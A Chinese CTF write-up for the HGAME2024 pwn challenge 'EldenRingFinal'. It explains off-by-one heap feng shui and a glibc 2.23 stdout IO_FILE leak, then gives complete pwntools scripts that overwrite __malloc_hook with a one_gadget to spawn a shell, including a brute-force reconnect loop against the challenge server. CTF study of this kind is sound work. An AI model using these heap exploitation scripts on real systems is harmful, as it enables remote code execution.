[HGAME2024] Week4-EldenRingFinal - 堆风水+IO_FILE

[HGAME2024] Week4-EldenRingFinal - 堆风水+IO_FILE

2024-02-25·PwnPwnHeap

[HGAME2024] Week4-EldenRingFinal

题目描述

年轻人的第一道IO_FILE题目

结构体比较复杂的heap,看似free函数之后没有清空指针会有uaf漏洞,但是由于chunk之间采用链表链接,取出chunk也就没法遍历到了,所以就相当于清空指针的作用。而且创建指向内容的chunk的chunk在malloc之后也写入了新东西,所以没法直接UAF。

add_note函数在往chunk写入内容的时候有Off-By-One漏洞,因此我们能使用chunk extend来覆盖之后的chunk实现UAF的效果。

但是没有提供show函数,也就没法直接leak libc了。

于是直接打IO_FILE结构体来leak出libc

IO_FILE struct

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};
/* We always allocate an extra word following an _IO_FILE.
   This contains a pointer to the function jump table used.
   This is for compatibility with C++ streambuf; the word can
   be used to smash to a pointer to a virtual function table. */

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

可以看到结构体的vtable中存储着一堆的函数指针,据说可以伪造vtable来get shell。

struct _IO_FILE_plus;

extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;
#ifndef _LIBC
#define _IO_stdin ((_IO_FILE*)(&_IO_2_1_stdin_))
#define _IO_stdout ((_IO_FILE*)(&_IO_2_1_stdout_))
#define _IO_stderr ((_IO_FILE*)(&_IO_2_1_stderr_))
#else
extern _IO_FILE *_IO_stdin attribute_hidden;
extern _IO_FILE *_IO_stdout attribute_hidden;
extern _IO_FILE *_IO_stderr attribute_hidden;
#endif
struct _IO_FILE {
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;	/* Current read pointer */
  char* _IO_read_end;	/* End of get area. */
  char* _IO_read_base;	/* Start of putback+get area. */
  char* _IO_write_base;	/* Start of put area. */
  char* _IO_write_ptr;	/* Current put pointer. */
  char* _IO_write_end;	/* End of put area. */
  char* _IO_buf_base;	/* Start of reserve area. */
  char* _IO_buf_end;	/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

可以看到_IO_FILE结构体保存的是读写的指针以及flags,可知stdin,stdout,stderr都各有一个这样的结构体。

read write各有ptr end base三个项目,分别表示当前指针,结束位置指针,开始位置指针。

_chain指针就是把这几个结构体和_IO_FILE_all串联起来了。

IO_FILE - 调试

从理论到实践 打开IDA,直接看.bss上面的三个结构体,分别就是stdout,stdin,stderr的结构体

用gdb调试

我们进入stdout结构体的(_IO_FILE)file看一下,就是_IO_FILE结构体了

IO_FILE leak - 利用

我们把_flags修改为0xfbadxxxx,清空read的三个指针,再把write的base指针最低一个字节修改就可以打印从base到ptr的内容

泄露_IO_file_jumps:

payload = p64(0xfbad1800)+p64(0)*3+b"\x58"

泄露_IO_2_1_stdin_:

payload = p64(0xfbad3887)+p64(0)*3+p8(0)

堆风水 + Off-By-One - 利用

首先我们要leak libc,就要把一个chunk申请到stdout结构体那里把stdout给改成对应内容。由于没有libc基址,我们需要采用修改free的unsortedbin的fd的低位的方法实现得到stdout结构体的fake chunk的效果

由于unsortedbin以及small,large bin都是双向链表,我们很难采用这种他们来申请到fake chunk。于是我们就需要用Off-By-One来把这个unsortedbin的size改为0x71并且把它串到0x70size的fastbin链表上面。

这题的chunk的结构相对比较复杂,但是我们如果采用某种方法把存储内容的chunk都放在连续的内存上面,那么Off-By-One就非常容易利用了。

这个过程很简单,不再详述。 之后就是修改下一个chunk的size位,让它覆盖到下一个chunk,为了过prev_inuse(nextchunk)的检测,这里我直接覆盖了两个chunk.

把这个大的chunk free掉,再malloc就可以实现写入下面的堆块的效果了,我们修改下一个chunk(0x71)的fd的低位,使它指向那个unsortedbin,之后再用一次Off-By-One把这个unsortedbin的size改为0x71,这样就能通过fastbin取出chunk的时候关于chunksize和fastbin index的检查了。

这样我们就可以申请到fakechunk并且修改stdout结构体了。

之后我们有了libc基址,就可以接着改fd,申请到hook那里的chunk,从而修改malloc_hook或者free_hook来get shell了

EXP

为了能够在收到EOF的时候继续爆破而不用手动重启脚本,我们把整个exploit过程封装成函数pwn(),之后添加:

while 1:
    try:
        p=remote('139.224.232.162',30369)
        pwn()
    except:
        p.close()

不知道为什么远程改stdout结构体的时候最后一位\x58的payload无法泄露地址,但是本地两种payload都可以泄露地址。

还有打free_hook的时候fastbin的fake chunk过不去size和idx的检查,但是调试了发现size是0x7f过不去,idx对应的也是0x70,很玄学。被迫打malloc_hook.

#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './vuln'
p=remote('139.224.232.162',31524)
# p=process(['./ld-2.23.so', pwn], env={"LD_PRELOAD":'./libc-2.23.so'})
# p=process('./vuln')

#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
#  puts("1.add a page\n");
#   puts("2.delete page\n");
#   puts("3.add a note\n");
#   return puts("4.delete note\n>");
def add_page():
    p.sendlineafter("4.delete note\n>","1")
def dele_page(page):
    p.sendlineafter("4.delete note\n>","2")
    p.sendlineafter("which page?\n>",str(page))
def add_note(page,size,con):
    p.sendlineafter("4.delete note\n>","3")
    p.sendlineafter("which page would you like to attach to?\n>",str(page))
    p.sendlineafter("size:\n>",str(size))
    p.sendafter("content:\n>",con)
def dele_note(page,note):
    p.sendlineafter("4.delete note\n>","4")
    p.sendlineafter("which page_ID?\n>",str(page))
    p.sendlineafter("which note_ID would you like to delete?\n>",str(note))

add_page()
add_page()
add_note(0,0x18,b'a')#1
dele_page(2)
add_note(0,0x18,b'a')#2
dele_page(1)
add_note(0,0x60,b'a')#3 0x71
add_note(0,0x60,b'fzhb'+p64(0xdeadbeef))#4 fast fd

add_page()
add_note(0,0x18,b'a')#5
dele_page(1)
add_note(0,0x80,b'a')#6 libc
add_note(0,0x18,b'a')#7fzhb

dele_note(0,6)
add_note(0,0x80,b'\xdd\x45')#8

dele_note(0,1)
add_note(0,0x18,b'a'*0x10+p64(0)+b'\xc1')#9
dele_note(0,4)
dele_note(0,3)
dele_note(0,2)

add_note(0,0xb8,p64(0)*2+p64(0)+p64(0x71)+b'\x50\x63')#10

dele_note(0,5)
add_note(0,0x18,b'a'*0x10+p64(0)+b'\x71')#11

add_note(0,0x68,b'a')#12
add_note(0,0x68,b'a')#13
add_note(0,0x68,b'\x00'*0x33+p64(0xfbad1800)+p64(0)*3+p8(0))#14 stderr

# p.recv()
# p.recv(0x50)
p.recvuntil(b'\x7f')
# gdb.attach(p)
p.recv(2)
base=u64(p.recv(8))-(0x7fae7abc46a3-0x7fae7a800000)
# base=u64(p.recv(6)+b'\x00\x00')-(0x7fd92ffc46a3-0x7fd92fc00000)
hook=base+0x3C3B10-0x23
one=base+0xf0897
print(hex(base))
print(hex(hook))
print(hex(one))
# hack in page0
dele_note(0,12)
dele_note(0,10)

add_note(0,0xb8,p64(0)*2+p64(0)+p64(0x71)+p64(hook))#15
print(hex(base))
print(hex(hook))
print(hex(one))
add_note(0,0x68,b'a')
add_note(0,0x68,b'\x00'*0x13+p64(one))
# dele_note(0,15)
add_page()
# gdb.attach(p)
p.interactive()

# .bss:00000000003C57A8 ??                          __free_hook     0x7fd92fc00000   base+0x3C57A8-0x13
# .data:00000000003C3B10 00 4E 08 00 00 00 00 00     __malloc_hook   0x7fd92fc00000  base+0x3C3B10-0x23

# IO_stdout 0x7f01ac3c4620-0x43 45dd
# 0x230

# 0x4525a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

# 0xef9f4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv

# 0xf0897 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

自动爆破:

#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './vuln'

# p=process(['./ld-2.23.so', pwn], env={"LD_PRELOAD":'./libc-2.23.so'})
# p=process('./vuln')

#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
#  puts("1.add a page\n");
#   puts("2.delete page\n");
#   puts("3.add a note\n");
#   return puts("4.delete note\n>");
def add_page():
    p.sendlineafter("4.delete note\n>","1")
def dele_page(page):
    p.sendlineafter("4.delete note\n>","2")
    p.sendlineafter("which page?\n>",str(page))
def add_note(page,size,con):
    p.sendlineafter("4.delete note\n>","3")
    p.sendlineafter("which page would you like to attach to?\n>",str(page))
    p.sendlineafter("size:\n>",str(size))
    p.sendafter("content:\n>",con)
def dele_note(page,note):
    p.sendlineafter("4.delete note\n>","4")
    p.sendlineafter("which page_ID?\n>",str(page))
    p.sendlineafter("which note_ID would you like to delete?\n>",str(note))

def pwn():
    add_page()
    add_page()
    add_note(0,0x18,b'a')#1
    dele_page(2)
    add_note(0,0x18,b'a')#2
    dele_page(1)
    add_note(0,0x60,b'a')#3 0x71
    add_note(0,0x60,b'fzhb'+p64(0xdeadbeef))#4 fast fd

    add_page()
    add_note(0,0x18,b'a')#5
    dele_page(1)
    add_note(0,0x80,b'a')#6 libc
    add_note(0,0x18,b'a')#7fzhb

    dele_note(0,6)
    add_note(0,0x80,b'\xdd\x45')#8

    dele_note(0,1)
    add_note(0,0x18,b'a'*0x10+p64(0)+b'\xc1')#9
    dele_note(0,4)
    dele_note(0,3)
    dele_note(0,2)

    add_note(0,0xb8,p64(0)*2+p64(0)+p64(0x71)+b'\x50\x63')#10

    dele_note(0,5)
    add_note(0,0x18,b'a'*0x10+p64(0)+b'\x71')#11

    add_note(0,0x68,b'a')#12
    add_note(0,0x68,b'a')#13
    add_note(0,0x68,b'\x00'*0x33+p64(0xfbad1800)+p64(0)*3+p8(0))#14 stderr
    # p.recv()
    # p.recv(0x50)
    p.recvuntil(b'\x7f')
    # gdb.attach(p)
    p.recv(2)
    base=u64(p.recv(8))-(0x7fae7abc46a3-0x7fae7a800000)
    # base=u64(p.recv(6)+b'\x00\x00')-(0x7fd92ffc46a3-0x7fd92fc00000)
    hook=base+0x3C3B10-0x23
    one=base+0xf0897
    print(hex(base))
    print(hex(hook))
    print(hex(one))
    # hack in page0
    dele_note(0,12)
    dele_note(0,10)

    add_note(0,0xb8,p64(0)*2+p64(0)+p64(0x71)+p64(hook))#15
    print(hex(base))
    print(hex(hook))
    print(hex(one))
    add_note(0,0x68,b'a')
    add_note(0,0x68,b'\x00'*0x13+p64(one))
    # dele_note(0,15)
    add_page()
    # gdb.attach(p)
    p.interactive()

while 1:
    try:
        p=remote('139.224.232.162',30369)
        pwn()
    except:
        p.close()

# .bss:00000000003C57A8 ??                          __free_hook     0x7fd92fc00000   base+0x3C57A8-0x13
# .data:00000000003C3B10 00 4E 08 00 00 00 00 00     __malloc_hook   0x7fd92fc00000  base+0x3C3B10-0x23

# IO_stdout 0x7f01ac3c4620-0x43 45dd
# 0x230

# 0x4525a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

# 0xef9f4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv

# 0xf0897 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

也许,我们并不需要爆破???

我们爆破是为了让fd指向我们固定的chunk,如果让这个fd原本指向的地址和那个chunk的offset很小,那么我们只需要修改最后一个字节就OK了。 但是这样做增加了堆风水的难度,但是可行的。(把0x30的chunk扔出去,把那几个chunk的size缩小一下就可以了)